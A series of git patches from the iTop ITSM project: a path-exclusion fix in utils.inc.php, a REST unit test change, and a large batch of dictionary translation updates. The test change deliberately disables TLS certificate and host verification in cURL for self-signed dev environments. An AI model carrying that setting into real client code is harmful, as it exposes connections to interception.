3afd936ed..439b565f3 100644 --- a/application/utils.inc.php +++ b/application/utils.inc.php @@ -2745,12 +2745,18 @@ HTML; $bSkipped = true; } else { - foreach ($aExcludedPath as $sExcludedPath) { - // Note: We use '#' as delimiters as usual '/' is often used in paths. - if ($sExcludedPath !== '' && preg_match('#'.$sExcludedPath.'#', $sPHPFile) === 1) { - $bSkipped = true; - break; + $sPHPFile = self::LocalPath($sPHPFile); + if ($sPHPFile !== false) { + $sPHPFile = '/'.$sPHPFile; // for regex + foreach ($aExcludedPath as $sExcludedPath) { + // Note: We use '#' as delimiters as usual '/' is often used in paths. + if ($sExcludedPath !== '' && preg_match('#'.$sExcludedPath.'#', $sPHPFile) === 1) { + $bSkipped = true; + break; + } } + } else { + $bSkipped = true; // file not found } } @@ -2788,7 +2794,7 @@ HTML; $aResultPref = []; $aShortcutPrefs = appUserPreferences::GetPref('keyboard_shortcuts', []); // Note: Mind the 4 blackslashes, see utils::GetClassesForInterface() - $aShortcutClasses = utils::GetClassesForInterface('iKeyboardShortcut', '', array('[\\\\/]lib[\\\\/]', '[\\\\/]node_modules[\\\\/]', '[\\\\/]test[\\\\/]')); + $aShortcutClasses = utils::GetClassesForInterface('iKeyboardShortcut', '', array('[\\\\/]lib[\\\\/]', '[\\\\/]node_modules[\\\\/]', '[\\\\/]test[\\\\/]', '[\\\\/]tests[\\\\/]')); foreach ($aShortcutClasses as $cShortcutPlugin) { $sTriggeredElement = $cShortcutPlugin::GetShortcutTriggeredElementSelector(); diff --git a/pages/preferences.php b/pages/preferences.php index b21b8fac1..adf2929c3 100644 --- a/pages/preferences.php +++ b/pages/preferences.php @@ -774,7 +774,7 @@ try { break; case 'apply_keyboard_shortcuts': // Note: Mind the 4 blackslashes, see utils::GetClassesForInterface() - $aShortcutClasses = utils::GetClassesForInterface('iKeyboardShortcut', '', array('[\\\\/]lib[\\\\/]', '[\\\\/]node_modules[\\\\/]', '[\\\\/]test[\\\\/]')); + $aShortcutClasses = utils::GetClassesForInterface('iKeyboardShortcut', '', array('[\\\\/]lib[\\\\/]', '[\\\\/]node_modules[\\\\/]', '[\\\\/]test[\\\\/]', '[\\\\/]tests[\\\\/]')); $aShortcutPrefs = []; foreach ($aShortcutClasses as $cShortcutPlugin) { foreach ($cShortcutPlugin::GetShortcutKeys() as $aShortcutKey) { diff --git a/sources/application/TwigBase/UI/UIBlockExtension.php b/sources/application/TwigBase/UI/UIBlockExtension.php index 9af1c1d4d..3a81a647b 100644 --- a/sources/application/TwigBase/UI/UIBlockExtension.php +++ b/sources/application/TwigBase/UI/UIBlockExtension.php @@ -8,9 +8,7 @@ namespace Combodo\iTop\Application\TwigBase\UI; -use Exception; -use ReflectionClass; -use SetupUtils; +use Combodo\iTop\Application\UI\Base\iUIBlockFactory; use Twig\Extension\AbstractExtension; use utils; @@ -30,7 +28,7 @@ class UIBlockExtension extends AbstractExtension { $aParsers = []; - $sInterface = "Combodo\\iTop\\Application\\UI\\Base\\iUIBlockFactory"; + $sInterface = iUIBlockFactory::class; $aFactoryClasses = utils::GetClassesForInterface($sInterface, 'UIBlockFactory'); foreach ($aFactoryClasses as $sFactoryClass) { From dbd58cfeb66fbdff3ec53409240eaa2c1ec7c8ec Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 10 Feb 2023 23:07:27 +0100 Subject: [PATCH 134/230] Tests: Force RestAPI unit tests not to verify SSL certificate as most dev / test envs are self-signed --- tests/php-unit-tests/unitary-tests/webservices/RestTest.php | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/php-unit-tests/unitary-tests/webservices/RestTest.php b/tests/php-unit-tests/unitary-tests/webservices/RestTest.php index 3d0170d0a..0e7138574 100644 --- a/tests/php-unit-tests/unitary-tests/webservices/RestTest.php +++ b/tests/php-unit-tests/unitary-tests/webservices/RestTest.php @@ -239,6 +239,10 @@ JSON; curl_setopt($ch, CURLOPT_POST, 1);// set post data to true curl_setopt($ch, CURLOPT_POSTFIELDS, $aPostFields); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + // Force disable of certificate check as most of dev / test env have a self-signed certificate + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); + $sJson = curl_exec($ch); curl_close ($ch); From ccdd315357f43557d57628f862b7d9555dcaa609 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 21 Feb 2023 22:14:57 +0100 Subject: [PATCH 135/230] =?UTF-8?q?N=C2=B05919=20-=20Add=20missing=20links?= =?UTF-8?q?et=20descriptions=20in=20french=20and=20other=20languages?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cs.dict.itop-bridge-cmdb-ticket.php | 6 +- .../da.dict.itop-bridge-cmdb-ticket.php | 6 +- .../de.dict.itop-bridge-cmdb-ticket.php | 6 +- .../fr.dict.itop-bridge-cmdb-ticket.php | 6 +- .../ja.dict.itop-bridge-cmdb-ticket.php | 6 +- .../sk.dict.itop-bridge-cmdb-ticket.php | 6 +- .../da.dict.itop-change-mgmt-itil.php | 8 +- .../de.dict.itop-change-mgmt-itil.php | 8 +- .../fr.dict.itop-change-mgmt-itil.php | 8 +- .../ja.dict.itop-change-mgmt-itil.php | 8 +- .../sk.dict.itop-change-mgmt-itil.php | 8 +- .../dictionaries/da.dict.itop-change-mgmt.php | 8 +- .../dictionaries/de.dict.itop-change-mgmt.php | 8 +- .../dictionaries/fr.dict.itop-change-mgmt.php | 8 +- .../dictionaries/ja.dict.itop-change-mgmt.php | 8 +- .../dictionaries/sk.dict.itop-change-mgmt.php | 8 +- .../dictionaries/cs.dict.itop-config-mgmt.php | 22 +-- .../dictionaries/da.dict.itop-config-mgmt.php | 88 +++++----- .../dictionaries/de.dict.itop-config-mgmt.php | 90 +++++----- .../dictionaries/fr.dict.itop-config-mgmt.php | 90 +++++----- .../dictionaries/hu.dict.itop-config-mgmt.php | 2 +- .../dictionaries/it.dict.itop-config-mgmt.php | 2 +- .../dictionaries/ja.dict.itop-config-mgmt.php | 90 +++++----- .../dictionaries/sk.dict.itop-config-mgmt.php | 90 +++++----- .../dictionaries/tr.dict.itop-config-mgmt.php | 2 +- .../dictionaries/da.dict.itop-faq-light.php | 2 +- .../dictionaries/de.dict.itop-faq-light.php | 2 +- .../dictionaries/fr.dict.itop-faq-light.php | 2 +- .../dictionaries/ja.dict.itop-faq-light.php | 2 +- .../da.dict.itop-incident-mgmt-itil.php | 2 +- .../de.dict.itop-incident-mgmt-itil.php | 2 +- .../fr.dict.itop-incident-mgmt-itil.php | 2 +- .../ja.dict.itop-incident-mgmt-itil.php | 2 +- .../da.dict.itop-knownerror-mgmt.php | 4 +- .../de.dict.itop-knownerror-mgmt.php | 4 +- .../fr.dict.itop-knownerror-mgmt.php | 4 +- .../hu.dict.itop-knownerror-mgmt.php | 4 +- .../it.dict.itop-knownerror-mgmt.php | 4 +- .../ja.dict.itop-knownerror-mgmt.php | 4 +- .../tr.dict.itop-knownerror-mgmt.php | 4 +- .../da.dict.itop-problem-mgmt.php | 4 +- .../de.dict.itop-problem-mgmt.php | 4 +- .../fr.dict.itop-problem-mgmt.php | 6 +- .../hu.dict.itop-problem-mgmt.php | 2 +- .../it.dict.itop-problem-mgmt.php | 2 +- .../ja.dict.itop-problem-mgmt.php | 4 +- .../tr.dict.itop-problem-mgmt.php | 2 +- .../da.dict.itop-request-mgmt-itil.php | 2 +- .../de.dict.itop-request-mgmt-itil.php | 2 +- .../fr.dict.itop-request-mgmt-itil.php | 2 +- .../ja.dict.itop-request-mgmt-itil.php | 2 +- .../sk.dict.itop-request-mgmt-itil.php | 2 +- .../da.dict.itop-request-mgmt.php | 2 +- .../de.dict.itop-request-mgmt.php | 2 +- .../fr.dict.itop-request-mgmt.php | 2 +- .../ja.dict.itop-request-mgmt.php | 2 +- .../sk.dict.itop-request-mgmt.php | 2 +- .../da.dict.itop-service-mgmt-provider.php | 30 ++-- .../de.dict.itop-service-mgmt-provider.php | 30 ++-- .../fr.dict.itop-service-mgmt-provider.php | 30 ++-- .../ja.dict.itop-service-mgmt-provider.php | 30 ++-- .../sk.dict.itop-service-mgmt-provider.php | 26 +-- .../da.dict.itop-service-mgmt.php | 26 +-- .../de.dict.itop-service-mgmt.php | 28 +-- .../fr.dict.itop-service-mgmt.php | 30 ++-- .../ja.dict.itop-service-mgmt.php | 30 ++-- .../sk.dict.itop-service-mgmt.php | 30 ++-- .../dictionaries/cs.dict.itop-structure.php | 2 +- .../dictionaries/da.dict.itop-structure.php | 16 +- .../dictionaries/de.dict.itop-structure.php | 16 +- .../dictionaries/fr.dict.itop-structure.php | 16 +- .../dictionaries/ja.dict.itop-structure.php | 16 +- .../dictionaries/sk.dict.itop-structure.php | 16 +- .../dictionaries/cs.dict.itop-tickets.php | 4 +- .../dictionaries/da.dict.itop-tickets.php | 10 +- .../dictionaries/de.dict.itop-tickets.php | 10 +- .../dictionaries/fr.dict.itop-tickets.php | 8 +- .../dictionaries/ja.dict.itop-tickets.php | 10 +- .../dictionaries/sk.dict.itop-tickets.php | 10 +- dictionaries/cs.dictionary.itop.ui.php | 2 +- dictionaries/da.dictionary.itop.core.php | 4 +- dictionaries/fr.dictionary.itop.core.php | 4 +- dictionaries/hu.dictionary.itop.core.php | 4 +- dictionaries/hu.dictionary.itop.ui.php | 6 +- dictionaries/sk.dictionary.itop.core.php | 162 +++++++++--------- dictionaries/sk.dictionary.itop.ui.php | 6 +- dictionaries/tr.dictionary.itop.core.php | 2 +- 87 files changed, 647 insertions(+), 647 deletions(-) diff --git a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/cs.dict.itop-bridge-cmdb-ticket.php b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/cs.dict.itop-bridge-cmdb-ticket.php index 327514891..0bdb157b3 100644 --- a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/cs.dict.itop-bridge-cmdb-ticket.php +++ b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/cs.dict.itop-bridge-cmdb-ticket.php @@ -91,9 +91,9 @@ Dict::Add('CS CZ', 'Czech', 'Čeština', array( Dict::Add('CS CZ', 'Czech', 'Čeština', array( 'Class:FunctionalCI/Attribute:providercontracts_list' => 'Smlouvy s poskytovateli', - 'Class:FunctionalCI/Attribute:providercontracts_list+' => '', + 'Class:FunctionalCI/Attribute:providercontracts_list+' => 'All the provider contracts for this configuration item~~', 'Class:FunctionalCI/Attribute:services_list' => 'Služby', - 'Class:FunctionalCI/Attribute:services_list+' => '', + 'Class:FunctionalCI/Attribute:services_list+' => 'All the services impacted by this configuration item~~', 'Class:FunctionalCI/Attribute:tickets_list' => 'Tikety', - 'Class:FunctionalCI/Attribute:tickets_list+' => '', + 'Class:FunctionalCI/Attribute:tickets_list+' => 'All the tickets for this configuration item~~', )); diff --git a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/da.dict.itop-bridge-cmdb-ticket.php b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/da.dict.itop-bridge-cmdb-ticket.php index 3e7899008..8e69b74d1 100644 --- a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/da.dict.itop-bridge-cmdb-ticket.php +++ b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/da.dict.itop-bridge-cmdb-ticket.php @@ -91,9 +91,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:FunctionalCI/Attribute:providercontracts_list' => 'Leverandør kontrakter', - 'Class:FunctionalCI/Attribute:providercontracts_list+' => '', + 'Class:FunctionalCI/Attribute:providercontracts_list+' => 'All the provider contracts for this configuration item~~', 'Class:FunctionalCI/Attribute:services_list' => 'Ydelser', - 'Class:FunctionalCI/Attribute:services_list+' => '', + 'Class:FunctionalCI/Attribute:services_list+' => 'All the services impacted by this configuration item~~', 'Class:FunctionalCI/Attribute:tickets_list' => 'Tickets', - 'Class:FunctionalCI/Attribute:tickets_list+' => '', + 'Class:FunctionalCI/Attribute:tickets_list+' => 'All the tickets for this configuration item~~', )); diff --git a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/de.dict.itop-bridge-cmdb-ticket.php b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/de.dict.itop-bridge-cmdb-ticket.php index 88bb136e4..1101f3e9c 100644 --- a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/de.dict.itop-bridge-cmdb-ticket.php +++ b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/de.dict.itop-bridge-cmdb-ticket.php @@ -91,9 +91,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:FunctionalCI/Attribute:providercontracts_list' => 'Provider-Verträge', - 'Class:FunctionalCI/Attribute:providercontracts_list+' => '', + 'Class:FunctionalCI/Attribute:providercontracts_list+' => 'All the provider contracts for this configuration item~~', 'Class:FunctionalCI/Attribute:services_list' => 'Services', - 'Class:FunctionalCI/Attribute:services_list+' => '', + 'Class:FunctionalCI/Attribute:services_list+' => 'All the services impacted by this configuration item~~', 'Class:FunctionalCI/Attribute:tickets_list' => 'Tickets', - 'Class:FunctionalCI/Attribute:tickets_list+' => '', + 'Class:FunctionalCI/Attribute:tickets_list+' => 'All the tickets for this configuration item~~', )); diff --git a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/fr.dict.itop-bridge-cmdb-ticket.php b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/fr.dict.itop-bridge-cmdb-ticket.php index 25b8d85d8..23241f7db 100644 --- a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/fr.dict.itop-bridge-cmdb-ticket.php +++ b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/fr.dict.itop-bridge-cmdb-ticket.php @@ -91,9 +91,9 @@ Dict::Add('FR FR', 'French', 'Français', array( Dict::Add('FR FR', 'French', 'Français', array( 'Class:FunctionalCI/Attribute:providercontracts_list' => 'Contrats fournisseur', - 'Class:FunctionalCI/Attribute:providercontracts_list+' => '', + 'Class:FunctionalCI/Attribute:providercontracts_list+' => 'Tous les contrats fournisseurs pour cet élément de configuration', 'Class:FunctionalCI/Attribute:services_list' => 'Services', - 'Class:FunctionalCI/Attribute:services_list+' => '', + 'Class:FunctionalCI/Attribute:services_list+' => 'Tous les services impactés par cet élément de configuration', 'Class:FunctionalCI/Attribute:tickets_list' => 'Tickets', - 'Class:FunctionalCI/Attribute:tickets_list+' => '', + 'Class:FunctionalCI/Attribute:tickets_list+' => 'Tous les tickets de cet élément de configuration', )); diff --git a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/ja.dict.itop-bridge-cmdb-ticket.php b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/ja.dict.itop-bridge-cmdb-ticket.php index 797b72510..a3acdea89 100644 --- a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/ja.dict.itop-bridge-cmdb-ticket.php +++ b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/ja.dict.itop-bridge-cmdb-ticket.php @@ -91,9 +91,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:FunctionalCI/Attribute:providercontracts_list' => 'プロバイダー契約', - 'Class:FunctionalCI/Attribute:providercontracts_list+' => '', + 'Class:FunctionalCI/Attribute:providercontracts_list+' => 'All the provider contracts for this configuration item~~', 'Class:FunctionalCI/Attribute:services_list' => 'サービス', - 'Class:FunctionalCI/Attribute:services_list+' => '', + 'Class:FunctionalCI/Attribute:services_list+' => 'All the services impacted by this configuration item~~', 'Class:FunctionalCI/Attribute:tickets_list' => 'チケット', - 'Class:FunctionalCI/Attribute:tickets_list+' => '', + 'Class:FunctionalCI/Attribute:tickets_list+' => 'All the tickets for this configuration item~~', )); diff --git a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/sk.dict.itop-bridge-cmdb-ticket.php b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/sk.dict.itop-bridge-cmdb-ticket.php index 50bd1aff4..1e68b294c 100644 --- a/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/sk.dict.itop-bridge-cmdb-ticket.php +++ b/datamodels/2.x/itop-bridge-cmdb-ticket/dictionaries/sk.dict.itop-bridge-cmdb-ticket.php @@ -91,9 +91,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:FunctionalCI/Attribute:providercontracts_list' => 'Poskytovateľské zmluvy', - 'Class:FunctionalCI/Attribute:providercontracts_list+' => '', + 'Class:FunctionalCI/Attribute:providercontracts_list+' => 'All the provider contracts for this configuration item~~', 'Class:FunctionalCI/Attribute:services_list' => 'Služby', - 'Class:FunctionalCI/Attribute:services_list+' => '', + 'Class:FunctionalCI/Attribute:services_list+' => 'All the services impacted by this configuration item~~', 'Class:FunctionalCI/Attribute:tickets_list' => 'Tickety', - 'Class:FunctionalCI/Attribute:tickets_list+' => '', + 'Class:FunctionalCI/Attribute:tickets_list+' => 'All the tickets for this configuration item~~', )); diff --git a/datamodels/2.x/itop-change-mgmt-itil/dictionaries/da.dict.itop-change-mgmt-itil.php b/datamodels/2.x/itop-change-mgmt-itil/dictionaries/da.dict.itop-change-mgmt-itil.php index 2c66b6ffa..a6346252d 100644 --- a/datamodels/2.x/itop-change-mgmt-itil/dictionaries/da.dict.itop-change-mgmt-itil.php +++ b/datamodels/2.x/itop-change-mgmt-itil/dictionaries/da.dict.itop-change-mgmt-itil.php @@ -125,13 +125,13 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Change/Attribute:parent_name' => 'Parent Change Ref', 'Class:Change/Attribute:parent_name+' => '', 'Class:Change/Attribute:related_request_list' => 'Relaterede Requests', - 'Class:Change/Attribute:related_request_list+' => '', + 'Class:Change/Attribute:related_request_list+' => 'All the user requests linked to this change~~', 'Class:Change/Attribute:related_problems_list' => 'Relaterede Problemer', - 'Class:Change/Attribute:related_problems_list+' => '', + 'Class:Change/Attribute:related_problems_list+' => 'All the problems linked to this change~~', 'Class:Change/Attribute:related_incident_list' => 'Relaterede incidents', - 'Class:Change/Attribute:related_incident_list+' => '', + 'Class:Change/Attribute:related_incident_list+' => 'All the incidents linked to this change~~', 'Class:Change/Attribute:child_changes_list' => 'Afledte Changes', - 'Class:Change/Attribute:child_changes_list+' => '', + 'Class:Change/Attribute:child_changes_list+' => 'All the sub changes linked to this change~~', 'Class:Change/Attribute:parent_id_friendlyname' => 'Parent Friendly Name', 'Class:Change/Attribute:parent_id_friendlyname+' => '', 'Class:Change/Attribute:parent_id_finalclass_recall' => 'Change-Type', diff --git a/datamodels/2.x/itop-change-mgmt-itil/dictionaries/de.dict.itop-change-mgmt-itil.php b/datamodels/2.x/itop-change-mgmt-itil/dictionaries/de.dict.itop-change-mgmt-itil.php index 99d708ebd..0a66ba79a 100644 --- a/datamodels/2.x/itop-change-mgmt-itil/dictionaries/de.dict.itop-change-mgmt-itil.php +++ b/datamodels/2.x/itop-change-mgmt-itil/dictionaries/de.dict.itop-change-mgmt-itil.php @@ -127,13 +127,13 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Change/Attribute:parent_name' => 'Parent Change Ref', 'Class:Change/Attribute:parent_name+' => '', 'Class:Change/Attribute:related_request_list' => 'Verwandte Requests', - 'Class:Change/Attribute:related_request_list+' => '', + 'Class:Change/Attribute:related_request_list+' => 'All the user requests linked to this change~~', 'Class:Change/Attribute:related_problems_list' => 'Verwandte Probleme', - 'Class:Change/Attribute:related_problems_list+' => '', + 'Class:Change/Attribute:related_problems_list+' => 'All the problems linked to this change~~', 'Class:Change/Attribute:related_incident_list' => 'Verwandte Incidents', - 'Class:Change/Attribute:related_incident_list+' => '', + 'Class:Change/Attribute:related_incident_list+' => 'All the incidents linked to this change~~', 'Class:Change/Attribute:child_changes_list' => 'Abgeleitete Changes', - 'Class:Change/Attribute:child_changes_list+' => '', + 'Class:Change/Attribute:child_changes_list+' => 'All the sub changes linked to this change~~', 'Class:Change/Attribute:parent_id_friendlyname' => 'Parent Friendly Name', 'Class:Change/Attribute:parent_id_friendlyname+' => '', 'Class:Change/Attribute:parent_id_finalclass_recall' => 'Change-Typ', diff --git a/datamodels/2.x/itop-change-mgmt-itil/dictionaries/fr.dict.itop-change-mgmt-itil.php b/datamodels/2.x/itop-change-mgmt-itil/dictionaries/fr.dict.itop-change-mgmt-itil.php index 50ef2b2e0..e0a1975da 100644 --- a/datamodels/2.x/itop-change-mgmt-itil/dictionaries/fr.dict.itop-change-mgmt-itil.php +++ b/datamodels/2.x/itop-change-mgmt-itil/dictionaries/fr.dict.itop-change-mgmt-itil.php @@ -127,13 +127,13 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Change/Attribute:parent_name' => 'Ref changement parent', 'Class:Change/Attribute:parent_name+' => '', 'Class:Change/Attribute:related_request_list' => 'Requêtes liées', - 'Class:Change/Attribute:related_request_list+' => '', + 'Class:Change/Attribute:related_request_list+' => 'Toutes les demandes utilisateurs liées à ce changement', 'Class:Change/Attribute:related_problems_list' => 'Problèmes liés', - 'Class:Change/Attribute:related_problems_list+' => '', + 'Class:Change/Attribute:related_problems_list+' => 'Tous les problèmes liés à ce changement', 'Class:Change/Attribute:related_incident_list' => 'Incidents liés', - 'Class:Change/Attribute:related_incident_list+' => '', + 'Class:Change/Attribute:related_incident_list+' => 'Tous les incidents liés à ce changement', 'Class:Change/Attribute:child_changes_list' => 'Changements fils', - 'Class:Change/Attribute:child_changes_list+' => '', + 'Class:Change/Attribute:child_changes_list+' => 'Tous les sous-changements liés à ce changement', 'Class:Change/Attribute:parent_id_friendlyname' => 'Nom commun du changement parent', 'Class:Change/Attribute:parent_id_friendlyname+' => '', 'Class:Change/Attribute:parent_id_finalclass_recall' => 'Type de changement', diff --git a/datamodels/2.x/itop-change-mgmt-itil/dictionaries/ja.dict.itop-change-mgmt-itil.php b/datamodels/2.x/itop-change-mgmt-itil/dictionaries/ja.dict.itop-change-mgmt-itil.php index 53249d04f..dabddee7f 100644 --- a/datamodels/2.x/itop-change-mgmt-itil/dictionaries/ja.dict.itop-change-mgmt-itil.php +++ b/datamodels/2.x/itop-change-mgmt-itil/dictionaries/ja.dict.itop-change-mgmt-itil.php @@ -124,13 +124,13 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Change/Attribute:parent_name' => '親変更参照', 'Class:Change/Attribute:parent_name+' => '', 'Class:Change/Attribute:related_request_list' => '関連要求', - 'Class:Change/Attribute:related_request_list+' => '', + 'Class:Change/Attribute:related_request_list+' => 'All the user requests linked to this change~~', 'Class:Change/Attribute:related_problems_list' => '関連問題', - 'Class:Change/Attribute:related_problems_list+' => '', + 'Class:Change/Attribute:related_problems_list+' => 'All the problems linked to this change~~', 'Class:Change/Attribute:related_incident_list' => '関連するインシデント', - 'Class:Change/Attribute:related_incident_list+' => '', + 'Class:Change/Attribute:related_incident_list+' => 'All the incidents linked to this change~~', 'Class:Change/Attribute:child_changes_list' => '子変更', - 'Class:Change/Attribute:child_changes_list+' => '', + 'Class:Change/Attribute:child_changes_list+' => 'All the sub changes linked to this change~~', 'Class:Change/Attribute:parent_id_friendlyname' => '親のフレンドリー名', 'Class:Change/Attribute:parent_id_friendlyname+' => '', 'Class:Change/Attribute:parent_id_finalclass_recall' => '変更タイプ', diff --git a/datamodels/2.x/itop-change-mgmt-itil/dictionaries/sk.dict.itop-change-mgmt-itil.php b/datamodels/2.x/itop-change-mgmt-itil/dictionaries/sk.dict.itop-change-mgmt-itil.php index 9fa95e96f..3566c24a8 100644 --- a/datamodels/2.x/itop-change-mgmt-itil/dictionaries/sk.dict.itop-change-mgmt-itil.php +++ b/datamodels/2.x/itop-change-mgmt-itil/dictionaries/sk.dict.itop-change-mgmt-itil.php @@ -125,13 +125,13 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Change/Attribute:parent_name' => 'Referencia na rodičovskú zmenu', 'Class:Change/Attribute:parent_name+' => '', 'Class:Change/Attribute:related_request_list' => 'Súvisiace požiadavky', - 'Class:Change/Attribute:related_request_list+' => '', + 'Class:Change/Attribute:related_request_list+' => 'All the user requests linked to this change~~', 'Class:Change/Attribute:related_problems_list' => 'Súvisiace problémy', - 'Class:Change/Attribute:related_problems_list+' => '', + 'Class:Change/Attribute:related_problems_list+' => 'All the problems linked to this change~~', 'Class:Change/Attribute:related_incident_list' => 'Súvisiace incidenty', - 'Class:Change/Attribute:related_incident_list+' => '', + 'Class:Change/Attribute:related_incident_list+' => 'All the incidents linked to this change~~', 'Class:Change/Attribute:child_changes_list' => 'Podriadené zmeny', - 'Class:Change/Attribute:child_changes_list+' => '', + 'Class:Change/Attribute:child_changes_list+' => 'All the sub changes linked to this change~~', 'Class:Change/Attribute:parent_id_friendlyname' => 'Priateľské meno rodičovskej zmeny', 'Class:Change/Attribute:parent_id_friendlyname+' => '', 'Class:Change/Attribute:parent_id_finalclass_recall' => 'Change type~~', diff --git a/datamodels/2.x/itop-change-mgmt/dictionaries/da.dict.itop-change-mgmt.php b/datamodels/2.x/itop-change-mgmt/dictionaries/da.dict.itop-change-mgmt.php index dab3cfcc8..65b66c6d4 100644 --- a/datamodels/2.x/itop-change-mgmt/dictionaries/da.dict.itop-change-mgmt.php +++ b/datamodels/2.x/itop-change-mgmt/dictionaries/da.dict.itop-change-mgmt.php @@ -109,13 +109,13 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Change/Attribute:fallback_plan' => 'Fallback-Plan', 'Class:Change/Attribute:fallback_plan+' => '', 'Class:Change/Attribute:related_request_list' => 'Relaterede Requests', - 'Class:Change/Attribute:related_request_list+' => '', + 'Class:Change/Attribute:related_request_list+' => 'All the user requests linked to this change~~', 'Class:Change/Attribute:related_incident_list' => 'Relaterede Incidents', - 'Class:Change/Attribute:related_incident_list+' => '', + 'Class:Change/Attribute:related_incident_list+' => 'All the incidents linked to this change~~', 'Class:Change/Attribute:related_problems_list' => 'Relaterede problemer', - 'Class:Change/Attribute:related_problems_list+' => '', + 'Class:Change/Attribute:related_problems_list+' => 'All the problems linked to this change~~', 'Class:Change/Attribute:child_changes_list' => 'Afledte Changes', - 'Class:Change/Attribute:child_changes_list+' => '', + 'Class:Change/Attribute:child_changes_list+' => 'All the sub changes linked to this change~~', 'Class:Change/Attribute:parent_id_friendlyname' => 'Parent Change Friendly Name', 'Class:Change/Attribute:parent_id_friendlyname+' => '', 'Class:Change/Stimulus:ev_assign' => 'Tildel', diff --git a/datamodels/2.x/itop-change-mgmt/dictionaries/de.dict.itop-change-mgmt.php b/datamodels/2.x/itop-change-mgmt/dictionaries/de.dict.itop-change-mgmt.php index a9590fcee..e7eff2991 100644 --- a/datamodels/2.x/itop-change-mgmt/dictionaries/de.dict.itop-change-mgmt.php +++ b/datamodels/2.x/itop-change-mgmt/dictionaries/de.dict.itop-change-mgmt.php @@ -111,13 +111,13 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Change/Attribute:fallback_plan' => 'Fallback-Plan', 'Class:Change/Attribute:fallback_plan+' => '', 'Class:Change/Attribute:related_request_list' => 'Verwandte Requests', - 'Class:Change/Attribute:related_request_list+' => '', + 'Class:Change/Attribute:related_request_list+' => 'All the user requests linked to this change~~', 'Class:Change/Attribute:related_incident_list' => 'Verwandte Incidents', - 'Class:Change/Attribute:related_incident_list+' => '', + 'Class:Change/Attribute:related_incident_list+' => 'All the incidents linked to this change~~', 'Class:Change/Attribute:related_problems_list' => 'Verwandte Probleme', - 'Class:Change/Attribute:related_problems_list+' => '', + 'Class:Change/Attribute:related_problems_list+' => 'All the problems linked to this change~~', 'Class:Change/Attribute:child_changes_list' => 'Abgeleitete Changes', - 'Class:Change/Attribute:child_changes_list+' => '', + 'Class:Change/Attribute:child_changes_list+' => 'All the sub changes linked to this change~~', 'Class:Change/Attribute:parent_id_friendlyname' => 'Parent Change', 'Class:Change/Attribute:parent_id_friendlyname+' => '', 'Class:Change/Stimulus:ev_assign' => 'Zuweisen', diff --git a/datamodels/2.x/itop-change-mgmt/dictionaries/fr.dict.itop-change-mgmt.php b/datamodels/2.x/itop-change-mgmt/dictionaries/fr.dict.itop-change-mgmt.php index a971c09ce..e1bfedd0d 100644 --- a/datamodels/2.x/itop-change-mgmt/dictionaries/fr.dict.itop-change-mgmt.php +++ b/datamodels/2.x/itop-change-mgmt/dictionaries/fr.dict.itop-change-mgmt.php @@ -111,13 +111,13 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Change/Attribute:fallback_plan' => 'Plan de secours', 'Class:Change/Attribute:fallback_plan+' => '', 'Class:Change/Attribute:related_request_list' => 'Requêtes liées', - 'Class:Change/Attribute:related_request_list+' => '', + 'Class:Change/Attribute:related_request_list+' => 'Toutes les demandes utilisateurs liées à ce changement', 'Class:Change/Attribute:related_incident_list' => 'Incidents liés', - 'Class:Change/Attribute:related_incident_list+' => '', + 'Class:Change/Attribute:related_incident_list+' => 'Tous les incidents liés à ce changement', 'Class:Change/Attribute:related_problems_list' => 'Problèmes liés', - 'Class:Change/Attribute:related_problems_list+' => '', + 'Class:Change/Attribute:related_problems_list+' => 'Tous les problèmes liés à ce changement', 'Class:Change/Attribute:child_changes_list' => 'Changements fils', - 'Class:Change/Attribute:child_changes_list+' => '', + 'Class:Change/Attribute:child_changes_list+' => 'Tous les sous-changements liés à ce changement', 'Class:Change/Attribute:parent_id_friendlyname' => 'Nom usuel du changement parent', 